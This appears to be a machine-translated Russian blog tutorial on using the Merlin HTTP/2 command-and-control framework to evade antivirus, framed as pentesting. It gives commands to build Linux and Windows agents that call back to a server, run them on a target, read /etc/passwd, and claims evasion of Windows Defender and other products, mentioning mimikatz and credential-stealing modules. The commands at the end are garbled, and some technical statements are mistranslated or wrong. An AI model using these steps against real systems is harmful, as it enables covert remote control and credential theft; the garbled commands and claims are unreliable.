Как обойти защиту антивируса

Как обойти защиту антивируса

Этичный Хакер

Merlin-это сервер HTTP/2 Command & Control (C&C) для многоплатформенной эксплуатации Post, написанный на языке Golang. Merlin основан на архитектуре клиент-сервер и использует протокол HTTP/2 для связи между агентами сервера и хоста

На рисунке 1 показано, как Мерлин может быть использован во время пентеста.

 Обход безопасности с помощью протокола HTTP/2

Используя протокол HTTP / 2 во время соединений Merlin, мы достигаем лучшего использования сетевых ресурсов и снижения восприятия задержки, вводя сжатие заголовков и позволяя несколько одновременных обменов данными на самом соединении. Этот новый протокол был валидирован на RFC7450 и может рассматриваться как способ решения некоторых проблем HTTP/1.x.

Поскольку это новый протокол, он вызовет проблемы на устройствах IDS/IPS.

Короче говоря, существующие инструменты не оснащены для понимания или проверки этого протокола. Кроме того, HTTP/2-это двоичный протокол, который делает его более компактным, легким для анализа и не читаемым пользователем без использования AV.

Сегодня устройства безопасности не могут понять протокол HTTP/2 и даже способны расшифровать сетевой трафик для контроля. Сочетание шифрования и отсутствия поддержки протокола со стороны инспекционных инструментов дает прекрасную возможность избежать обнаружения.

На этом этапе мы покажем, как Мерлин может быть использован для установления связи C&C во время пентест-теста.

Начнем с загрузки Merlin со страницы GitHub. Для этого нам нужно ввести следующую команду в нашем терминале. Обратите внимание, что для запуска этого мастера использовался дистрибутив Kali Linux.

git clone https://github.com/Ne0nd0g/merlin.git

Далее необходимо создать SSL-сертификат для использования канала шифрования и установления соединений между сервером и агентами хоста. Результирующие файлы должны быть созданы в папке "/data/x509Со следующей командой.

Рисунок 2: Сгенерировать SSL key - Merlin server в папке “/data/x509".

Создание агента Linux

На стороне сервера Merlin Merlin должен быть запущен до запуска агентов. Используйте следующую команду:

Рис. 3. Сервер O. Merlin, запущенный на localhost: 127.0.0.1:443.

После запуска агента Linux на центральном целевом хосте на сервер Merlin поступает новое соединение. Для запуска необходимо использовать команду, например:

  • список агентов - список доступных агентов
  • interact [id] - взаимодействие с указанным агентом
  • cmd cat/etc/passwd Загрузите содержимое файла passwd, расположенного в / Etc / passwd
Рис. 4: Соединение Merlin с агентом Linux, загруженным из файла "/ etc / passwd".

Кроме того, другие команды и модули могут быть использованы через командную помощь.

Рисунок 5: Доступные единицы измерения Merlin.

Еще одна интересная часть этого инструмента-возможность создавать агенты для различных архитектур операционных систем. Затем специально разработанная полезная нагрузка будет создана в обновленной операционной системе Windows 10 с высокой степенью безопасности.

Выполнение сканирования с помощью Защитника Windows для этого конкретного агента ( agent_windows.exe), мы можем убедиться, что он не был обнаружен.

Рисунок 6: O Агент Merlin для Windows обходит защитник Windows.

В этом случае сервер Merlin должен работать со следующими параметрами: -i [локальный IP-адрес] и-p [локальный порт]. Эти данные были зашифрованы двоичной системой ( agent_windows.exe ).

Рисунок 7: Запустите сервер Merlin с определенным IP-портом / портом.

Полезная нагрузка позволяет избежать обнаружения ее подписи в Windows 10 с полностью обновленным защитником Microsoft Windows.

Затем агент будет казнен:

Рисунок 8: O Агент Мерлин работал на полностью обновленной Windows 10 в обход защитника Windows.

На сервере Merlin получено новое соединение, как показано ниже.

Отсюда, набор собственных команд Windows может быть использован через команду cmd и несколько модулей, таких как сбор, mimikatz, sharphound, похитители учетных данных и многое другое.

Рисунок 9: Взаимодействие сервера Merlin с агентом Windows.

Низкая частота обнаружения AV.

После того, как тесты были выполнены, образец был протестирован на VirusTotal, и только 13 из 68 AVS идентифицировали агента Merlin как вредоносного.

Рисунок 10: Низкая частота обнаружения агента Merlin в Windows, как показано в VirusTotal.

Which AV обходит:

  • Защитник Windows
  • Касперский
  • Malwarebytes
  • Сайленс
  • McAfee
  • Symantec
Рисунок 11: AV, обойденный агентом Merlin.

Наконец, Merlin-это кросс-платформенный фреймворк после эксплуатации, который использует связь HTTP / 2, чтобы избежать обнаружения и обойти устройства безопасности и AV-обнаружение.

HTTP / 2-это относительно новый протокол, который прорывается через зашифрованные пакеты Perfect Forward Secretary (PFS). AV избегание достигается каждый раз, когда создается новый агент Merlin. Golang-это отличный инструмент с возможностью создания автономных двоичных файлов в одном двоичном файле и имеет множество функций, которые делают его очень мощным языком. Еще одна интересная деталь заключается в том, что он был скомпилирован в машинный код, поэтому он имеет хорошую производительность и из-за этого может обойти его обнаружение.

openssl req -x509 -newkey rsa: 4096 -sha256 -nodes -keyout server.key -out server.crt -subj “/ CN = infosecinstitute” -day 7

GOOS = linux GOARCH = amd64 go build -ldflags “-X main.url = https: //127.0.0.1: 443” -o agent_linux main.go

#выполнение агента на целевом хосте

chmod + x agent_linux && ./agent_linux

sudo go run cmd / merlinserver / main.go -i [ip-address]

GOOS = windows GOARCH = amd64 go build -ldflags “-X main.url = https: //192.168.0.165: 8080” -o agent_windows.exe главное.

go run cmd / merlinserver / main.go -i 192.168.0.165 -p 8080





Report Page